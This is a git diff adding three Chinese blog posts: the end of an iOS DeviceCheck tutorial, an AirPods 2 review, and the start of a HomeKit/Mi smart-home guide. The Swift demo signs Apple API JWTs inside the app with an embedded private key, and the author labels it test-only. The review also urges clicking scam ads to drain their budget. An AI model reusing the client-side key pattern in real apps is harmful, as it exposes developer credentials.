[iOS11で追加されたDeviceCheckについて](https://qiita.com/owen/items/85dff1e45083d2805140){:target="_blank"} 這篇文章的 requestToken\.php 部分 +#### Swift 版示範Demo: + +因後端部分我無法提供實作且不是大家都會PHP,這邊提供一個用純iOS \(Swift\) 做的範例,直接在APP裡處理後端該做的那些事\(組JWT,發送資料給頻果\),給大家做參考! + +不需撰寫後端程式就能模擬執行所有內容. + + +> ⚠請注意 _僅為測試示範所需,不建議用於正式環境_ ⚠ + + + + +這邊要感謝 [Ethan Huang](https://medium.com/u/e13f6afcf9b9){:target="_blank"} 大大的 [CupertinoJWT](https://github.com/ethanhuang13/CupertinoJWT){:target="_blank"} 提供 iOS 在APP內產生JWT格式內容的支援! + +**Demo 主要程式及畫面:** +```swift +import UIKit +import DeviceCheck +import CupertinoJWT + +extension String { + var queryEncode:String { + return self.addingPercentEncoding(withAllowedCharacters: .whitespacesAndNewlines)?.replacingOccurrences(of: "+", with: "%2B") ?? "" + } +} +class ViewController: UIViewController { + + + @IBOutlet weak var getBtn: UIButton! + @IBOutlet weak var statusBtn: UIButton! + @IBAction func getBtnClick(_ sender: Any) { + DCDevice.current.generateToken { dataOrNil, errorOrNil in + guard let data = dataOrNil else { return } + + let deviceToken = data.base64EncodedString() + + //正式情況: + //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理 + + + //!!!!!!以下僅為測試、示範所需,不建議用於正式環境!!!!!! + //!!!!!! 請勿隨意暴露您的PRIVATE KEY !!!!!! + let p8 = """ + -----BEGIN PRIVATE KEY----- + -----END PRIVATE KEY----- + """ + let keyID = "" //你的KEY ID + let teamID = "" //你的Developer Team ID :https://developer.apple.com/account/#/membership + + let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60) + + do { + let token = try jwt.sign(with: p8) + var request = URLRequest(url: URL(string: "https://api.devicecheck.apple.com/v1/update_two_bits")!) + request.httpMethod = "POST" + request.addValue("Bearer \(token)", forHTTPHeaderField: "Authorization") + request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type") + let json:[String : Any] = ["device_token":deviceToken,"transaction_id":UUID().uuidString,"timestamp":Int(Date().timeIntervalSince1970.rounded()) * 1000,"bit0":true,"bit1":false] + request.httpBody = try? JSONSerialization.data(withJSONObject: json) + + let task = URLSession.shared.dataTask(with: request) { (data, response, error) in + guard let data = data else { + return + } + print(String(data:data, encoding: String.Encoding.utf8)) + DispatchQueue.main.async { + self.getBtn.isHidden = true + self.statusBtn.isSelected = true + } + } + task.resume() + } catch { + // Handle error + } + //!!!!!!以上僅為測試、示範所需,不建議用於正式環境!!!!!! + // + + } + + } + + override func viewDidLoad() { + super.viewDidLoad() + + DCDevice.current.generateToken { dataOrNil, errorOrNil in + guard let data = dataOrNil else { return } + + let deviceToken = data.base64EncodedString() + + //正式情況: + //POST deviceToken 到後端,請後端去跟蘋果伺服器查詢,然後再回傳結果給APP處理 + + + //!!!!!!以下僅為測試、示範所需,不建議用於正式環境!!!!!! + //!!!!!! 請勿隨意暴露您的PRIVATE KEY !!!!!! + let p8 = """ + -----BEGIN PRIVATE KEY----- + + -----END PRIVATE KEY----- + """ + let keyID = "" //你的KEY ID + let teamID = "" //你的Developer Team ID :https://developer.apple.com/account/#/membership + + let jwt = JWT(keyID: keyID, teamID: teamID, issueDate: Date(), expireDuration: 60 * 60) + + do { + let token = try jwt.sign(with: p8) + var request = URLRequest(url: URL(string: "https://api.devicecheck.apple.com/v1/query_two_bits")!) + request.httpMethod = "POST" + request.addValue("Bearer \(token)", forHTTPHeaderField: "Authorization") + request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type") + let json:[String : Any] = ["device_token":deviceToken,"transaction_id":UUID().uuidString,"timestamp":Int(Date().timeIntervalSince1970.rounded()) * 1000] + request.httpBody = try? JSONSerialization.data(withJSONObject: json) + + let task = URLSession.shared.dataTask(with: request) { (data, response, error) in + guard let data = data,let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String:Any],let stauts = json["bit0"] as? Int else { + return + } + print(json) + + if stauts == 1 { + DispatchQueue.main.async { + self.getBtn.isHidden = true + self.statusBtn.isSelected = true + } + } + } + task.resume() + } catch { + // Handle error + } + //!!!!!!以上僅為測試、示範所需,不建議用於正式環境!!!!!! + // + + } + // Do any additional setup after loading the view. + } + + +} +``` + + +![畫面截圖](/assets/c5e7e580c341/1*SwCOuRX_5KD4GsBNfaTQDQ.png) + +畫面截圖 + +這邊做的是一個一次性的優惠領取,每個裝置只能領一次! +#### 完整專案下載: + + +[![](https://opengraph.githubassets.com/5b9e31058f9022c9102e9f1235cb0d3535b7db18c15a0dc2affda91d0f97507e/zhgchgli0718/iOSDeviceCheckExample)](https://github.com/zhgchgli0718/iOSDeviceCheckExample){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-%E5%AE%8C%E7%BE%8E%E5%AF%A6%E8%B8%90%E4%B8%80%E6%AC%A1%E6%80%A7%E5%84%AA%E6%83%A0%E6%88%96%E8%A9%A6%E7%94%A8%E7%9A%84%E6%96%B9%E6%B3%95-swift-c5e7e580c341){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-05-01-33afa0ae557d.md b/_posts/zmediumtomarkdown/2019-05-01-33afa0ae557d.md new file mode 100644 index 000000000..c56e426ab --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-05-01-33afa0ae557d.md @@ -0,0 +1,377 @@ +--- +title: "AirPods 2 開箱及上手體驗心得" +author: "ZhgChgLi" +date: 2019-05-01T13:32:20.014+0000 +last_modified_at: 2023-08-05T17:15:47.565+0000 +categories: "ZRealm Life." +tags: ["airpods","3c","開箱","airpods2","生活"] +description: "更加巧妙,無比驚歎。" +image: + path: /assets/33afa0ae557d/1*-ILMv-qhWVqw2wJMjgDs3A.jpeg +render_with_liquid: false +--- + +### AirPods 2 開箱及上手體驗心得 \(雷射鐫刻版\) +#### 更加巧妙,無比驚歎。 + +#### [\[最新\] Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往](../eab0e984043/) + +AirPods 這款產品剛出來時,我並沒有特別注意;第一眼看覺得就是個像蓮蓬頭的無線藍牙耳機,而且那時候無線藍牙耳機市場也是百家齊放的狀態,你能想到的款式、需求都能找到相符的產品再加上價格也不親民,有什麼特別的? + +直到我真正上手後才感受到它的 **「驚艷」** 之處,自從開賣之後 AirPods 長年霸佔藍牙耳機銷售排行榜前幾名絕非浪得虛名,靠的也不只是果粉的信仰,那到底好用在哪,讓我們繼續看下去. + + +![[真香梗](https://www.ettoday.net/news/20181227/1341755.htm){:target="_blank"}](/assets/33afa0ae557d/1*EbKTh7BihiHMiYx5IKIHzA.gif) + +[真香梗](https://www.ettoday.net/news/20181227/1341755.htm){:target="_blank"} +### 入手背景 + +本來只是單純的iPhone用戶,去年入手了MacBook Pro、 [Apple Watch S4](../a2920e33e73e/) ,開始陷入蘋果生態系(俗稱:蘋果全家桶)手錶都買了,獨缺一副耳機。 + +原本在使用的藍牙耳機已服役一段時間,就是款中規中矩的耳機,沒有不好但也沒特別出色,音質普普、續航力很夠;要說痛點的話就是通話時不清楚、訊號容易干擾,開關機要長按、要等配對及電量標示不清楚,都是小小問題;平常就通勤跟運動時使用,在電腦前多半使用喇叭或有線耳機,所以也能滿足我的基本需求. + +AirPods 1代推出後,身邊朋友的使用經驗多半好評,這次剛好跟上AirPods 2代的潮流,所以就順勢入手囉. + +_p\.s\. 因為我沒使用過 1代 所以考量入手的點也不會是跟 1代 做比較有什麼提升的項目 \(本篇文章也不會提及跟1代的差異\)._ +### 挑選,無線還是有線版本? + +無線及有線版本價格差$1,200,起初我是考慮買無線版本的;想到我那凌亂的床頭櫃上的充電線還有出國能少帶條線,對便利性提升來說很是心動!! + +蘋果宣告 AirPower 胎死腹中後,我在網路尋找類似的產品,買了款 2合1的無線充電版,2 是 iPhone、Apple Watch;因iPhone跟AirPods不太會隨時或同時需要充電,所以交替使用下是能3合1使用的. + +一切都看似美好,直到我下標收到貨之後,實際使用發現無法同時充手機跟手錶,手錶的充電量幾乎=0、而且速度很慢,電流根本催不起來!就算使用 5\.1V/2\.1A 的大豆腐頭也是,不確定該搭什麼電壓的頭才能使用,查 [網友評價](https://www.facebook.com/gusha.tw/posts/1219673421523621?comment_id=1255505397940423){:target="_blank"} ,這個狀況也非個案,最後還是悻悻然的退貨了. + +想想也不過就兩條線\(AirPods跟iPhone都是lightning/AppleWatch是專用線\),而且速度還是有線快;無線需要那塊版本\+版子的線\+可能要更大的頭?;比較之下沒有特別便利優勢. + +**所以最終我選擇了有線版的AirPods 2。** + + +> p\.s\. 無線版跟有線版的差別只在,充電盒有線版同1代\(指示燈在內\);無線版的充電盒指示燈在外&也能用有線充 + + + + +### 下單 + +從發佈到開賣\(台灣\),大約隔了1個月,每天都要照三餐上官網看開賣沒,相信很多網友也是XD;實在等的揪心,其他國家早就開賣了! + +4/23 開賣就立馬下標了,AirPods 2 這次可以雷射鐫刻\(刻字\)當然不免俗的也刻了: + + +![ΛVICII ◢ ◤ — 官方預覽圖](/assets/33afa0ae557d/1*Mq5OL0FPCng7aWCk7WuIZQ.png) + +ΛVICII ◢ ◤ — 官方預覽圖 + + +> 以此紀念 瑞典傳奇音樂製作人 AVICII + + + + + +> “One day you’ll leave this world behind So live a life you will remember\.” [Avicii — The Nights](https://www.youtube.com/watch?v=UtF6Jej8yb4){:target="_blank"} + + + + +可以刻 **11個字元** ,包含中文/英文/符號/空格;實測符號部分應該大部分都可,不支援他會顯示「無法鐫刻這些字元:」,所以不需要擔心變亂碼. + +_p\.s 有刻字約需多等一週,不刻字可到101直接買或透過經銷商購買\(價格更便宜\)_ + +官方給的預估收到時間是:5/3~5/10,4/29通知從上海出貨,很幸運地4/30趕在51勞動節放假前我就收到了\(超快!!從上海到台北\) + + +![](/assets/33afa0ae557d/1*pDMA_4el8K9jM9ICPhw2DQ.png) + +### 開箱! + + +[![AirPods 2 開箱](/assets/33afa0ae557d/057a_hqdefault.jpg "AirPods 2 開箱")](http://www.youtube.com/watch?v=vgvTTq37lDs){:target="_blank"} + + + +![外包裝](/assets/33afa0ae557d/1*BsAop5tLLCTzvOr20PljCg.jpeg) + +外包裝 + + +![展開](/assets/33afa0ae557d/1*ZcmitKF70mHUgT0Z9JKl0g.jpeg) + +展開 + + +![本體近照](/assets/33afa0ae557d/1*drdMA2Be4tknViLR302sPg.jpeg) + +本體近照 + + +![本體全身照](/assets/33afa0ae557d/1*-ILMv-qhWVqw2wJMjgDs3A.jpeg) + +本體全身照 + + +![肚子裡的東西](/assets/33afa0ae557d/1*9b88eDk92tmU6GakEY1Hig.jpeg) + +肚子裡的東西 + +亂開箱結束!整體拿起來有份量,手感跟質感非常好,刻字部分也很精細;是蘋果產品該有的水準! +### 使用 +#### 第一次使用: + + +![](/assets/33afa0ae557d/1*GdIZpl46uQiX50zIkoLSjw.jpeg) + + +全新AirPods第一次使用時只需打開 AirPods盒子 靠近 iPhone 就會詢問,即可完成配對;不用特別案配對按鈕。 +#### 設定耳機操作: + +**手機版:** + + +![打開「設定」\->「藍芽」\->「找到你的AirPods」\->「設定」](/assets/33afa0ae557d/1*Aktq6bFF9dDTfWXxrUSQTA.jpeg) + +打開「設定」\->「藍芽」\->「找到你的AirPods」\->「設定」 + +**MacBook 版:** + + +![左上角「」\->「系統偏好設定」\->「藍芽」\(若沒聲音請將聲音書出改選AirPods\)](/assets/33afa0ae557d/1*lkDI9yIkdo1X-FmqAftxpA.jpeg) + +左上角「」\->「系統偏好設定」\->「藍芽」\(若沒聲音請將聲音書出改選AirPods\) + +可自行選擇左右耳的雙擊的動作. + +**點擊位置在耳機本體上側邊小孔下方:** + + +![其實我摸索了一下才知道位置](/assets/33afa0ae557d/1*Mm_AMBVgSu6KhflqIOkNGg@2x.jpeg) + +其實我摸索了一下才知道位置 +#### 一些小技巧 + +**快速切換回iPhone上使用:** + + +![上拉選單\->選擇音訊區塊\->選擇右上圖標\->切換選擇AirPods](/assets/33afa0ae557d/1*WAp5lJK3JPqsKEY6tX840g.jpeg) + +上拉選單\->選擇音訊區塊\->選擇右上圖標\->切換選擇AirPods + +也可由此查看AirPods電量。(顯示電量較低的那隻的電量) + +**用小工具查看電量方法:** + + +![左滑到控制中心\->下方「編輯」\->找到「電池」新增並排序](/assets/33afa0ae557d/1*CvQhTsxObgHlso2DfbQLTg.jpeg) + +左滑到控制中心\->下方「編輯」\->找到「電池」新增並排序 + +以後就能直接左滑控制中心查看AirPods電量(顯示電量較低的那隻的電量)要看左右耳及盒子的電量,就需將其中一隻AirPods放回盒子並打開盒子(因為盒子本身沒有藍芽功能): + + +![\*盒子內是我貼的防塵貼片](/assets/33afa0ae557d/1*qoUfpf1Jh_jVrHN_l3QRew.jpeg) + +\*盒子內是我貼的防塵貼片 + + +> 這裡有一個BUG,如果你的電池小工具顯示電量一下之後就消失;請去「設定」\->「螢幕顯示與亮度」\->「文字大小」\-> 調回預設大小(第三格)即可! + + + + + +**Apple Watch 查看電量方法:** + + +![上滑控制中心\->點擊電量](/assets/33afa0ae557d/1*A7ZVJoLehIN14J0LM5Y3qA.jpeg) + +上滑控制中心\->點擊電量 + +Apple Watch 上電量顯示視窗下方會多顯示AirPods的電量 + +_p\.s\.但好像有 BUG 有時候不會顯示_ +#### 關於電量的補充: + + +> 1\.當 AirPod 電池電量低時,您會在其中一個或兩個 AirPods 中聽到提示音。當電池電量低時,您會聽到一次提示音,在 AirPods 關閉前,會再聽到一次提示音。 + + + + + +> 2\.如果 AirPods 放在充電盒中而且盒蓋開著,指示燈顯示的是 AirPods 的充電狀態。如果 AirPods 不在充電盒中,指示燈顯示的是充電盒的狀態。綠色表示已充飽電,而琥珀色表示剩不到一次充飽電的電量。 + + + + + +— 取自 [官網的文件](https://support.apple.com/zh-tw/HT207012){:target="_blank"} +### 使用心得 + + +![](/assets/33afa0ae557d/1*vlDbOyPlOGtttbTXf-Q_IA.jpeg) + + +在寫心得之前,先提一個最近聽到的創業故事;簡而言之就是:「做產品時我們應該要做的不是針對大範圍、而是選擇一個小範圍的點,然後慢慢擴散」 + +AirPods 與其他廠牌的藍牙耳機最大的差異就是小範圍的細節體驗無話可說,像是使用時拿掉一耳會自動暫停音樂,戴回去會恢復播放這些,還有拿出來就能直接用,不用就放回去,不用去管那些開機關機連線的問題,舒適度方面,佩戴起來甚至感覺不到他的存在. + +充電速度飛快,加上放在盒子內就會自動充電;所以只要稍微注意盒子還有沒有電就好\(盒子約可充5次\),不太會遇到像之前要用藍牙耳機時它卻沒電,然後還要等它慢慢充電。 + +延遲就如傳言一樣,看影片、玩遊戲幾乎感覺不到延遲\(我測試玩的是極速領域賽車遊戲\). + +**Hey Siri 的部分** ,起初也覺得很雞肋,因為我有手錶也能遠距離Hey Siri;實際體驗後同上提到的,一切都是「細節體驗」;AirPods的Hey Siri又更上了一個層級,連抬手呼出都不用;直接呼叫Hey Siri就能使用,真的達到Siri無所不在的感覺。 +可能遇到的場景就是在整理家務、雙手都拿東西時;這時候這個功能就相當方便! +還有還有,可以 **呼叫Siri調節音量** :「Hey Siri\! ,大聲一點」、「Hey Siri\! ,音量調到75%」 + +一句話來總結使用 AirPods 的心得就是: + + +> 「一切都是那麼的自然」 + + + + +你無需花心思在那些不必要的事物上,耳機就該只是耳機。 + +**通話品質部分** 也是同樣驚艷,除了基本的通話品質穩定之外,收音效果堪比話筒品質,真的超神奇;實測跟朋友通話,他甚至聽不太出來我用的是AirPods! + +**騎車配戴部分** ,其實我本來很期待能騎車時帶著聽導航,結果已入手1代的朋友說「不行」,3/4以上的安全帽,再帶帽子的過程會壓到耳朵,耳機很容易掉;這邊實際測試也是,心抖了一下,建議真的要邊騎車邊聽導航,只帶ㄧ耳就好,穿脫安全帽時只顧一耳比較安全。 +#### **缺點:** + +最終還是要說一下我覺得的缺點 + +手勢可控制的項目太少…我真的很習慣手勢控制大小聲(不過還好這部分有手錶可以控制Spotify音量) + +另外手機連接速度的確很快但電腦的連接速度:我的MacBook Pro 2018 蠻慢的、但另一台Mac Mini跟手機連接一樣快 + +TESTV 評測頻道也有提到它的MacBook Pro在蓋起來外接使用時,搭配AirPods訊號會斷斷續續的!(這部分我不會) + +不過,為什麼有這些差異?我猜是因為有其他信號干擾(燈、螢幕輸出、其他藍芽設備)吧? +#### 闢謠: +1. 大小外型跟有線earpodsㄧ樣、容易掉的問題: +首先大小外型跟earpods有差距,我戴earpods有點鬆鬆的,但戴AirPods感覺很穩,跳來跳去也不會掉;不過其實很看人,有的人的確會出現不合適的問題,建議購買前先跟有AirPods的朋友借來戴戴看! +[_\*或是在耳機頭部貼一些人工皮增加面積、阻力_](https://applealmond.com/posts/35916){:target="_blank"} +2. 音質跟earpods很像:同上,其實差很多,AirPods的音質好很多;我覺得雖然可能跟同價位主打音質的耳機有落差,也無降噪功能,但AirPods本身就不是音質取向的耳機,取捨就看個人。 +就我個人體驗,音質聽得出環繞層次、音域廣,整體不失水準! + +### 配件: + +由於在下奶油手,AirPods就跟一顆雞蛋ㄧ樣,我很怕會溜手直接摔爆;爬了許多保護套推薦文,蠻多人推薦這款:Catalyst AirPods 防水收納盒\(保護套\) + +會選擇這個的原因是:防水、防摔、有掛勾、使用便利(拿收耳機跟充電時不用拆) + +價格:$1000上下 + + +[![開箱 Catalyst Airpods專用的耳機收納保護套 | Apple earphone](/assets/33afa0ae557d/7645_hqdefault.jpg "開箱 Catalyst Airpods專用的耳機收納保護套 | Apple earphone")](http://www.youtube.com/watch?v=XD8Lvp1vR1M){:target="_blank"} + + +**小開箱:** + + +![正面,因為怕髒所以我買深色](/assets/33afa0ae557d/1*Lw1clUAV8LkY9BmFN5LqBg.jpeg) + +正面,因為怕髒所以我買深色 + + +![背面也有相對應配對鍵的按鈕](/assets/33afa0ae557d/1*5qO-NZPG1EO1XtYG-oCJyQ.jpeg) + +背面也有相對應配對鍵的按鈕 + + +![拿收耳機只需翻開上半部](/assets/33afa0ae557d/1*gI9dn0sq2HzRo2Q5wjTN5A.jpeg) + +拿收耳機只需翻開上半部 + + +![底部充電孔有蓋子可開關](/assets/33afa0ae557d/1*BJKzNjJeASWYHr9pDjzoQQ.jpeg) + +底部充電孔有蓋子可開關 + +_p\.s\. 為了要拿到AirPods能馬上用,其實我套子比AirPods先買好😂_ + +**網友提問:1代與2代保護套是否能共用?** + +區分這個的標準不是1或2代,而是有線或無線版;如果您是有線版那1、2代都能用,無線版的指示燈在外及背面配對設定按鍵位置較上居中,無法與有線版共用保護套,這部分需要注意⚠️ +#### 再來是盒子內部防塵貼: + + +![AHA AirPods 防塵貼](/assets/33afa0ae557d/1*mgL_FMaH5So-U0iAGJsVFg.jpeg) + +AHA AirPods 防塵貼 + +**有網友問到密合度問題:** + +沒貼好會有點不密合,我橋很久才讓他完全密合;邊邊稍微有一點點刮手感(不影響,可能是公差?) + +不太好貼,因為防塵貼是金屬片,盒子本身有磁鐵容易在瞄準的時候就被吸下去 + +目前覺得有點多餘,不知道使用一陣子後的效果如何,所以先持保留態度。 +### 防詐騙宣導 + +請大家要特別注意,對岸已經出現破解晶片的高仿版本,配對同樣有動畫、同樣有電量顯示,從外觀幾乎無法區別的山寨版。 + +目前主要的識別方式是從軟體下手: +1. 電量顯示:正版能顯示左耳、右耳、盒子三個電量/盜版只有ㄧ個 +2. 藍牙設定那邊,正版可以設定左右耳的點擊功能/盜版只有斷開和遺忘 +3. 充電盒指示燈正版連上後會熄/盜版會繼續亮著 + + +但以上都不確定之後山寨版會不會修正,所以大家還是以官方或大型通路渠道購買較安全. +### ⚠️不孝商人現在更猖獗了,把盜版用接近正版的價格賣⚠ + +日前在Facbook、Google廣告聯播網上發現有惡劣商人,將盜版用接近正版價格賣\(網站是常見的 [一頁式詐騙網頁](https://www.facebook.com/ecotcpd/posts/%E5%85%AD%E5%A4%A7%E7%89%B9%E5%BE%B5%E7%A0%B4%E8%A7%A3%E4%B8%80%E9%A0%81%E5%BC%8F%E5%BB%A3%E5%91%8A%E8%A9%90%E9%A8%99%E8%BF%91%E6%9C%9F%E8%87%89%E6%9B%B8line%E5%8F%8A%E5%90%84%E5%A4%A7%E7%B6%B2%E8%B7%AF%E5%B9%B3%E8%87%BA%E4%B8%8A%E5%87%BA%E7%8F%BE%E8%A8%B1%E5%A4%9A%E4%B8%80%E9%A0%81%E5%BC%8F%E7%B6%B2%E8%B7%AF%E8%B3%BC%E7%89%A9%E5%BB%A3%E5%91%8A%E5%9B%A0%E7%82%BA%E5%95%86%E5%93%81%E5%83%B9%E6%A0%BC%E6%AF%94%E5%B8%82%E5%83%B9%E4%BD%8E%E4%BA%86%E5%A5%BD%E5%B9%BE%E5%80%8D%E8%A8%B1%E5%A4%9A%E7%B6%B2%E8%B3%BC%E6%97%8F%E5%9B%A0%E8%80%8C%E4%B8%8B%E6%A8%99%E8%B3%BC%E8%B2%B7%E6%94%B6%E5%88%B0%E8%B2%A8%E5%93%81%E5%BE%8C%E6%89%8D%E7%99%BC%E7%8F%BE%E8%88%87%E7%B6%B2%E9%A0%81%E6%89%80%E5%88%8A/1986377751611350/){:target="_blank"} \),非常惡劣;我覺得如果你是貪小便宜花個1000出買到AirPods你自己應該也要有認知會是假的,但把盜版當正版價格賣實在非常低級! + + +> _請注意,全新的AirPods價格應該不會低於$4500。_ + + + + + +![詐騙、來源不明的賣家](/assets/33afa0ae557d/1*IypsLTNMK79I2qaODhL7rw.jpeg) + +詐騙、來源不明的賣家 + +如果你不小心下標了,取貨付款請直接拒收、已收請趕快打電話給貨運公司要求退貨(態度要強硬),有任何問題可加入 [FB購物廣告受害者自救會](https://www.facebook.com/groups/194233504369614/){:target="_blank"} 。 + +看到這類廣告請直接點右上角向Facebook/Google檢舉、或是狂點廣告讓他快速的燒完廣告預算。 + +另外請大家發現山寨的AirPods或蘋果產品不要姑息養奸,無論是來路不明的網站、一頁式購物詐騙、蝦皮、露天,絕對要 [聯繫保智大隊](https://www.ptt.cc/bbs/iOS/M.1554263108.A.0E4.html){:target="_blank"} 去處理。 +#### 亦或是1代當2代賣? + + +![二代外盒圖](/assets/33afa0ae557d/1*PgsrH6zlNX6tMzI3IxUnGQ.jpeg) + +二代外盒圖 + +**請確認:** +- AirPods 2型號: **A2031、A2032** +- AirPods 1型號: **A1523、A1722** +- 生產年份:≥ 2019 + + +詳細1、2代比較請參考這篇: [AirPods 第一代與第二代辨識技巧大公開,透過這5 招馬上區分出來](https://mrmad.com.tw/identify-your-airpods){:target="_blank"} +### 其他有趣的開箱及體驗影片 + + +[![无处不在的耳机 AirPods2代【值不值得买第331期】](/assets/33afa0ae557d/ba98_hqdefault.jpg "无处不在的耳机 AirPods2代【值不值得买第331期】")](http://www.youtube.com/watch?v=7TgWMEa1gH0){:target="_blank"} + + + +[![搞机零距离:AirPods 2评测 依然是最省心的蓝牙耳机](/assets/33afa0ae557d/5ec5_hqdefault.jpg "搞机零距离:AirPods 2评测 依然是最省心的蓝牙耳机")](http://www.youtube.com/watch?v=E-PqwL69-bs){:target="_blank"} + +### 來個全家桶吧 + + +![](/assets/33afa0ae557d/1*NY3kXQ32tNEK3TpkKXp3zw.jpeg) + +### 想知道Apple Watch Series 6 的上手體驗嗎? +#### [Apple Watch Series 6 開箱&使用兩年體驗心得 >>>點我前往](../eab0e984043/) + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/airpods-2-%E9%96%8B%E7%AE%B1%E5%8F%8A%E4%B8%8A%E6%89%8B%E9%AB%94%E9%A9%97%E5%BF%83%E5%BE%97-33afa0ae557d){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2019-07-05-c3150cdc85dd.md b/_posts/zmediumtomarkdown/2019-07-05-c3150cdc85dd.md new file mode 100644 index 000000000..f77cdae20 --- /dev/null +++ b/_posts/zmediumtomarkdown/2019-07-05-c3150cdc85dd.md @@ -0,0 +1,611 @@ +--- +title: "智慧家居初體驗 - Apple HomeKit & 小米米家" +author: "ZhgChgLi" +date: 2019-07-05T17:13:47.487+0000 +last_modified_at: 2024-04-13T07:49:52.330+0000 +categories: "ZRealm Life." +tags: ["生活","開箱","3c","米家","homekit"] +description: "米家智慧攝影機及米家智慧檯燈,米家、Homekit設定教學" +image: + path: /assets/c3150cdc85dd/1*Aa9zfAh7xclVOZS0IkcaMQ.jpeg +render_with_liquid: false +--- + +### 智慧家居初體驗 \- Apple HomeKit & 小米米家 + +米家智慧攝影機及米家智慧檯燈、Homekit設定教學 + + +**\[2020/04/20\]** [**進階篇已發**](../99db2a1fbfe5/) **:** +**[有經驗的朋友請直接左轉前往>>](../99db2a1fbfe5/)** [**示範使用樹莓派當 HomeBridge 主機,將所有米家家電串上 HomeKit**](../99db2a1fbfe5/) +### 雜談: + +最近剛搬完家;有別於原本住的地方,天花板是辦公室輕鋼架燈,亮到要拔掉幾根燈管眼睛才比較舒適;現在住的地方則是裝潢反射燈,使用電腦、看書亮度稍嫌不足,兩週下來眼睛覺得更容易乾澀不舒服;本想直接去IKEA採購,但考量到光色、護眼,最後比較一下CP值,於是還是選擇了小米檯燈\(加上之前已有買小米智慧攝影機,都是米家系列產品\)。 +### 本篇: + +其實我在選購時並沒有特別注意是否支援Apple HomeKit,身為一個iOS 開發者實在太失格了,因為我壓跟沒想到小米會支援. + +所以本篇會分別介紹 **Apple HomeKit 使用** 、 **不支援Apple HomeKit的智慧家居怎麼使用第三方串接HomeKit?** 及 **使用米家本身搭建智慧家庭的方法(搭配IFTTT)** + +大家可以根據自己的裝置需求跳著看。 +### 採買: + +我一共買了兩盞檯燈,一盞\(Pro\)放電腦桌工作用、另一盞放床頭當閱讀燈。 +#### [米家檯燈 Pro](https://www.mi.com/tw/mi-adjustable-smart-desk-lamp/){:target="_blank"} : + + +![NT$ 1,795 支援米家、Apple HomeKit](/assets/c3150cdc85dd/1*Aa9zfAh7xclVOZS0IkcaMQ.jpeg) + +NT$ 1,795 支援米家、Apple HomeKit +#### [米家 LED 智慧檯燈](https://www.mi.com/tw/smartlamp/){:target="_blank"} : + + +![NT$ 995 僅支援米家](/assets/c3150cdc85dd/1*PCaRI8AroRgFELEA1elaiA.jpeg) + +NT$ 995 僅支援米家 + +詳細介紹可參考官網,兩盞都支援智慧控制、變色、調亮度、護眼,Pro版支援Apple HomeKit、三段角度調整;目前使用下來,以一盞燈的功能來說已經相當滿意,硬要挑一個缺點的話就是Pro版的角度調整只有底座能水平轉,燈不行,這樣就不能調整光線的角度了! +### 理想的智慧家居目標: +#### 目前有的裝置: +1. 米家智慧攝影機雲台版 1080P \(支援:米家\) +2. 米家檯燈 Pro \(支援:Apple HomeKit、米家\) +3. 米家 LED 智慧檯燈 \(支援:米家\) + +#### 理想目標: + +**回到家時:** 自動關閉攝影機\(為了隱私及防止誤觸看家警報,米家APP有BUG看家警報無法照設定時間開啟關閉\)、打開電腦桌的Pro燈\(不想摸黑\) +**離家時:** 自動打開攝影機\(預設啟用看家\)、關閉所有燈具 +#### **本篇最終達成:** + +離家、回家時發推播提醒,手機按一下觸發操作\(已現有裝置沒辦法達到理想的自動化目標\) +### 智慧家居設定之路: +#### **Apple HomeKit 使用** + +**\*僅限米家檯燈 Pro!米家檯燈 Pro!米家檯燈 Pro!** + +這是最簡單的一部分,因為都是原生功能。 + + +![只需四步驟](/assets/c3150cdc85dd/1*pv62RZ_TjL8X6t-gXnwWtQ.jpeg) + +只需四步驟 +1. 找到家庭APP(如沒有請到App Store搜尋「家庭」安裝) +2. 打開家庭APP +3. 點擊右上角「\+」加入配近 +4. 掃描Pro檯燈底部HomeKit QRCode加入配件即可! + + + +![](/assets/c3150cdc85dd/1*0Rm1Ij86bD-fld-N-N1qJw.jpeg) + + +加入配件成功後,在配件上重壓\(3D TOUCH\)/長壓,即可調整亮度、顏色。 +#### 那不 **支援Apple HomeKit的智慧家居怎麼使用第三方串接HomeKit?** + +除了以上本身就支援的智慧裝置,那不支援Apple HomeKit的裝置是不是就完全無法透過家庭控制呢了? +本章節手把手教你將不支援的裝置\(攝影機、一般版檯燈\)也加入到「家庭」中! + + +> **Mac ONLY,WIN使用者請直接跳到使用米家的章節** + + +> **我的裝置是MacOS 10\.14/iOS 12** + + + + + +**使用 [HomeBridge](https://github.com/nfarina/homebridge){:target="_blank"} :** + +HomeBridge透過使用Mac電腦作為橋接器,將不支援的裝置模擬成HomeKit設備,就可以加入到「家庭」的配件之中. + + +![運作比較](/assets/c3150cdc85dd/1*q2ctcxaaxLFExKXd-9NjPg.png) + +運作比較 + +可以看到一個重點就是 **你要有一台Mac電腦保持開機狀態,才能保持橋接通道順暢** ;一但電腦關機、休眠,就無法控制那些HomeKit裝置。 + +當然網路上也有神人做法,自行買一塊樹莓派來玩,將樹莓派當成橋接器;但這涉及到太多技術,本篇不會介紹。 + +知道缺點後如果還想玩玩,可以繼續往下看或是跳到下一個直接使用米家的章節。 + +**第一步:** + +安裝 [node\.js](https://nodejs.org/en/){:target="_blank"} : [點我](https://nodejs.org/dist/v12.6.0/node-v12.6.0.pkg){:target="_blank"} [下載](https://nodejs.org/dist/v12.6.0/node-v12.6.0.pkg){:target="_blank"} ,安裝即可 + +**第二步:** + +打開「終端機」輸入 +```bash +sudo npm -v +``` + + +![](/assets/c3150cdc85dd/1*RBRWT93L_abbhzTItL9Mhg.png) + + 